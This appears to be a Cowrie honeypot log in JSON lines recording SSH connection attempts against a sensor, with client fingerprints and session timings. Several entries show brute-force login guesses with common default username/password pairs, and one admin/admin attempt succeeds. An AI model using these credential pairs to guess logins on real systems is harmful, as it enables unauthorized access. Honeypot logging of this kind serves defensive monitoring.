{"eventid":"cowrie.login.failed","username":"root","password":"qwerty123","message":"login attempt [root/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:22.870420Z","src_ip":"91.92.40.171","session":"ee3864926d3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.7","message":"Connection lost after 5.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:23.192571Z","src_ip":"91.92.42.133","session":"7e29db475b8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:24.098637Z","src_ip":"91.92.40.171","session":"ee3864926d3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":60218,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e4012faad87","protocol":"ssh","message":"New connection: 91.92.42.133:60218 (159.203.135.109:22) [session: 6e4012faad87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:25.620921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:26.606359Z","src_ip":"91.92.42.133","session":"6e4012faad87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:26.609605Z","src_ip":"91.92.42.133","session":"6e4012faad87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":47602,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f6c805424a4","protocol":"ssh","message":"New connection: 91.92.40.171:47602 (159.203.135.109:22) [session: 9f6c805424a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:29.168039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:29.183317Z","src_ip":"91.92.40.171","session":"9f6c805424a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer1234","message":"login attempt [root/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:30.134691Z","src_ip":"91.92.42.133","session":"6e4012faad87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:30.333905Z","src_ip":"91.92.40.171","session":"9f6c805424a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:31.522401Z","src_ip":"91.92.42.133","session":"6e4012faad87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":60278,"dst_ip":"159.203.135.109","dst_port":22,"session":"772017f6beba","protocol":"ssh","message":"New connection: 91.92.42.133:60278 (159.203.135.109:22) [session: 772017f6beba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:33.251077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:33.694710Z","src_ip":"91.92.42.133","session":"772017f6beba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:33.699273Z","src_ip":"91.92.42.133","session":"772017f6beba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWEqwe123","message":"login attempt [root/QWEqwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:33.807755Z","src_ip":"91.92.40.171","session":"9f6c805424a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":47662,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f5e7258bbc0","protocol":"ssh","message":"New connection: 91.92.40.171:47662 (159.203.135.109:22) [session: 9f5e7258bbc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:35.098741Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:35.101980Z","src_ip":"91.92.40.171","session":"9f5e7258bbc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":54900,"dst_ip":"159.203.135.109","dst_port":23,"session":"567a3a1a64b2","protocol":"telnet","message":"New connection: 128.199.8.54:54900 (159.203.135.109:23) [session: 567a3a1a64b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:35.703393Z"}
{"eventid":"cowrie.session.closed","duration":"6.7","message":"Connection lost after 6.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:35.821102Z","src_ip":"91.92.40.171","session":"9f6c805424a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:36.007936Z","src_ip":"91.92.40.171","session":"9f5e7258bbc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@123","message":"login attempt [root/root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:37.146018Z","src_ip":"91.92.42.133","session":"772017f6beba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":34246,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c771ae325c3","protocol":"ssh","message":"New connection: 91.92.40.171:34246 (159.203.135.109:22) [session: 9c771ae325c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:38.770841Z"}
{"eventid":"cowrie.login.failed","username":"server","password":"server","message":"login attempt [server/server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:38.999474Z","src_ip":"91.92.40.171","session":"9f5e7258bbc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.8","message":"Connection lost after 5.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:39.021452Z","src_ip":"91.92.42.133","session":"772017f6beba","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:39.165612Z","src_ip":"91.92.40.171","session":"9c771ae325c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:39.169029Z","src_ip":"91.92.40.171","session":"9c771ae325c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":46860,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e52641583a9","protocol":"ssh","message":"New connection: 91.92.42.133:46860 (159.203.135.109:22) [session: 3e52641583a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:39.746961Z"}
{"eventid":"cowrie.login.failed","username":"ts3","password":"teamspeak","message":"login attempt [ts3/teamspeak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:40.024123Z","src_ip":"91.92.40.171","session":"9c771ae325c3","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:40.936532Z","src_ip":"91.92.42.133","session":"3e52641583a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:40.939165Z","src_ip":"91.92.42.133","session":"3e52641583a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:40.969024Z","src_ip":"91.92.40.171","session":"9f5e7258bbc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:41.235532Z","src_ip":"91.92.40.171","session":"9c771ae325c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":34294,"dst_ip":"159.203.135.109","dst_port":22,"session":"53d9b73f4595","protocol":"ssh","message":"New connection: 91.92.40.171:34294 (159.203.135.109:22) [session: 53d9b73f4595]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:44.595573Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:44.642576Z","src_ip":"91.92.40.171","session":"53d9b73f4595","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:44.757027Z","src_ip":"91.92.40.171","session":"53d9b73f4595","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:45.133883Z","src_ip":"91.92.42.133","session":"3e52641583a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"password","message":"login attempt [minecraft/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:45.181381Z","src_ip":"91.92.40.171","session":"53d9b73f4595","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":53504,"dst_ip":"159.203.135.109","dst_port":22,"session":"a3454caf8076","protocol":"ssh","message":"New connection: 91.92.42.133:53504 (159.203.135.109:22) [session: a3454caf8076]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:45.930229Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:46.314590Z","src_ip":"91.92.40.171","session":"53d9b73f4595","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.140.193.156","src_port":37810,"dst_ip":"10.17.0.5","dst_port":22,"session":"73929b052b87","protocol":"ssh","message":"New connection: 45.140.193.156:37810 (10.17.0.5:22) [session: 73929b052b87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:47.193727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:47.197125Z","src_ip":"45.140.193.156","session":"73929b052b87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:47.319417Z","src_ip":"45.140.193.156","session":"73929b052b87","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:47.467351Z","src_ip":"91.92.42.133","session":"a3454caf8076","protocol":"ssh"}
